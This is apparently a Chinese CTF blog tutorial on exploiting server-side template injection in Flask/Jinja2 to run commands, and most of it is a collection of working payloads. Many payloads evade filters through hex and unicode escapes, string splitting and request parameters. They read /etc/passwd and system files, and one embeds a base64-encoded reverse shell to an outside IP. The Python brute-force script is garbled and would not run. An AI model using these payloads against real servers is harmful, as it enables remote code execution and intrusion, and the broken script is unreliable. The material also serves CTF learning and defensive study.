SSTI

什么是SSTI?

​ SSTI是一种发生在服务器端模板中的漏洞。当用户的输入返回时会经过一个模板渲染,SSTI漏洞就是恶意用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。

​ 服务器的模板又很多种,不同的语言会有不同的模板框架。

​ 所以SSTI并不只有一种方式,我们平常多遇到的是python的模板


SSTI的形成原因

​ 其实成因很简单,就是写后端代码的程序员偷懒,用render_template_string解析字符串代替了render_template渲染。而render_template_string渲染时会把内容当作python代码执行,比如4*4会被执行成16

​ 做题的时候可以通过wapplayzer插件,查看框架和语言,一般是Flask和Python的话就是ssti没跑了

Photo by Florian Klauer on Unsplash


SSTI的具体实现方法

​ 这里以python的模板为例

​ 在这些框架中存在很多类,包括可以做到RCE的类。

​ 所以我们的目标就是要通过模板操作到可以进行RCE的类

​ 那么我们输入什么才会被当成模板注入呢?

​ 因为模板渲染的时候会把"{{}}“包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用 {{恶意代码}} 的形式来进行SSTI

​ (所以{{2*2}}也被用作检测SSTI漏洞的方法)

​ 接下来就是SSTI的具体实现方法了

​ 这里借用一下我之前写过的博客BaseCTF_web_week3-CSDN博客

​ 这里是一些魔术方法

1
2
3
4
5
6
__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

点击并拖拽以移动

​ 假设我们知道一个当前类,通过**__class__返回对象**,然后用**__mro__或者__base__返回父类**,直到父类为object类(所有的类都是object类的子类),再用**__sublasses__返回所有的子类**,这样就能找到存在rce的类啦!

​ 以下是一些当前类的表示方式

1
2
3
4
5
6
7
8
9
''.__class__

().__class__

[].__class__

"".__class__

{}.__class__

点击并拖拽以移动

​ (ctfshow_web361)

img点击并拖拽以移动

​ 所以我们可以构造{{’’.class.base.subclasses}}查看所有类

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 可以进行rce的类是——“os._wrap_close”,所以我们需要找到这个类的序号

​ 可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

​ 也可以用这个脚本,记得改一下pyload和url

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import requests
url =input('请输入URL链接:)
for i in range(500):
data ={"name":
"{{O)._class_._base_.__subclasses_()["+str(i)+"]._init_._globals_['__builtins_1}}"]
try:
response = requests.posf(url,data=data)
#print(response.text)
if response.status_code == 200:if 'popen' in response.text:print(i)
except:
pass

点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

​ 构造

1
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

​ 这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen

​ popen后的括号里直接写命令,不需要system

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 这样我们就成功通过SSTI漏洞进行RCE了


SSTI的绕过姿势

​ 上面上述的是最最基本的一种实现方法,现在是一些绕过手法

绕过数字

​ 上述pyload用到了132,ban了数字之后我们有两种解决方案

​ 1.是采用另一种pylaod

1
2
3
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

采用了builtins模块比用os_wrap_close更加方便

点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 2.采用全角数字

​ 0123456789(不知道原理)

1
?name={{"".__class__.__bases__[].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 

点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动


用request绕过

​ request可以获得请求的相关信息,通过这个特性可以做到绕过(其实用’‘也可以做到绕过)

1
2
3
4
例如
{{''.__class__}} ==> {{''[request.args.t1]}}&t1=__class__

__class__ ==> _''_cla''ss_''_

点击并拖拽以移动

​ 过滤 ’ ‘

​ 拿之前讲过的__builtins__举例

1
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

点击并拖拽以移动

​ 如果ban了’’,就说明__builtins__和__import__的使用会被限制,这里就可以用request.args.x(x为get的参数)来避免’‘被检测到

​ pyload如下

1
{{a.__init__.__globals__[request.args.x].eval(request.args.y)}}&x=__builtins__&y=__import__("os").popen("cat /flag").read()

点击并拖拽以移动

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 同理,也可以用于绕过其他字符

​ 值得一提的是,如果args被ban了,request.args.x可以替换成request[‘values’][‘x’]的形式Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ 如果这时 ’ ‘ 也被ban了,可以用request.cookies.x代替,不过上传参数要传在cookie中 ​ (注意cookies这里需要加 ; )

Photo by Florian Klauer on Unsplash点击并拖拽以移动

chr()拼接解决request被ban

​ 可以用chr()拼接,可是我们不能直接使用chr(),要用之前的方法通过继承链走到chr()

1
2
3
4
5
6
一些chr()的构造方式
"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

点击并拖拽以移动

​ 然后用字符串chr接收,之后就可以用chr()函数了

1
2
3
4
5
BaseCTF week4 复读机wp为了观感把绕过用的''去掉了

{% set chr= ''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['popen'](cmd)['read']())%}

点击并拖拽以移动


. 绕过

​ 可以用atter()绕过,也可以用[ ]绕过(这里不做展示) ​

1
|attr("__class__")就相当于.__class__

点击并拖拽以移动

可以借鉴一下这个pyload

{{lipsum|attr(”globals")|attr(“get”)(“os”)|attr(“popen”)(“whoami”)|attr(“read”)()}}

这里这个pyload是改自 {{lipsum.globals.get(“os”).popen(‘whoami’).read()}}

这里值得注意的是(不用get) {{lipsum.globals.os.popen(‘whoami’).read()}}是成立的

但是, {{lipsum|attr("globals")|attr**(“get”)(“os”)**|attr(“popen”)(“whoami”)|attr(“read”)()}} 如果不加get,就会失败

Photo by Florian Klauer on Unsplash点击并拖拽以移动


{{绕过

​ 不能用{{}},可以用{%%}代替,不过{%%}没有显示,要加一个print Photo by Florian Klauer on Unsplash点击并拖拽以移动

好用的pyload!!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
{{lipsum.__globals__['os'].popen('whoami').read()}}

{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("ls /")|attr("\u0072\u0065\u0061\u0064")()}}

{{joiner["__init__"]["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}
{{namespace["__init__"]["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}
{{url_for["__globals__"]["o""s"]["pop"+"en"]("t""ac /f???")["re""ad"]
()}}

{{joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("ls /")["\x72\x65\x61\x64"]()}}	

{{joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("t""ac /f*")["\x72\x65\x61\x64"]()}}

ban  request  可以考虑用这个
{{lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()}}&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

贴一下别人的武器库

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#config
'''
{{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),
那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
'''
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{config.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
#全局变量
'''
flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;
jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__键
g对象全称flask.g,它会保存当前的全局变量。g.pop 则是 g 对象的一个方法,
其用途是从 g 对象里移除指定键对应的值并返回该值。
其它详见https://flask.palletsprojects.com/zh-cn/stable/templating/
'''
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
#undefined类
'''
在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该
报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了**Undefined**类型,渲染结果显示为
<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的**Undefined**类型。
'''
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

{{g|attr('pop')|attr('__globals__')|attr('__builtins__')|attr('__import__')('os')|attr('popen')('ls')|attr('read')()}}
{{g['pop']['__globals__']['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}
{{g['pop']['\x5f\x5fglob'+'als\x5f\x5f']['\x5f\x5fbuil'+'tins\x5f\x5f']['\x5f\x5fimp'+'ort\x5f\x5f']('o'+'s')['po'+'pen']('ls')['read']()}}
{{g['pop']['__glob'+'als__']['__buil'+'tins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls')['read']()}}
{{request|attr('appli'+'cation')|attr('\x5f\x5fglo'+'bals\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fget'+'item\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('o'+'s')|attr('pop'+'en')('cat /etc/passwd')|attr('re'+'ad')()}}

还有收集的wp的payload

{{((sbwaf|attr('__eq__'))['__g''lobals__']['s''ys']['modules']['o''s']['po''pen']('bash${IFS}-c${IFS}\'{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}\''))['read']()}}


SSTI终极工具——fenjing

​ 全自动化绕过,只需要直接执行命令即可(仅支持http)

Photo by Florian Klauer on Unsplash点击并拖拽以移动

​ kali中安装

1
pip install fenjing

点击并拖拽以移动

​ 使用

1
2
3
4
python -m fenjing scan --url 'http://...'

打开网站ui
python -m fenjing webui

点击并拖拽以移动

​ 讲的比较简单建议看下方文章

Fenjing 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 - 🔰雨苁ℒ🔰

​ 不过工具归工具,还是要有一些硬实力的,也遇到过fenjing找不出漏洞点的情况


小结

​ 忙前忙后总算写完了这篇博客,还有很多绕过姿势没讲,不过有了fenjing,更加难的绕过应该都能迎刃而解

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计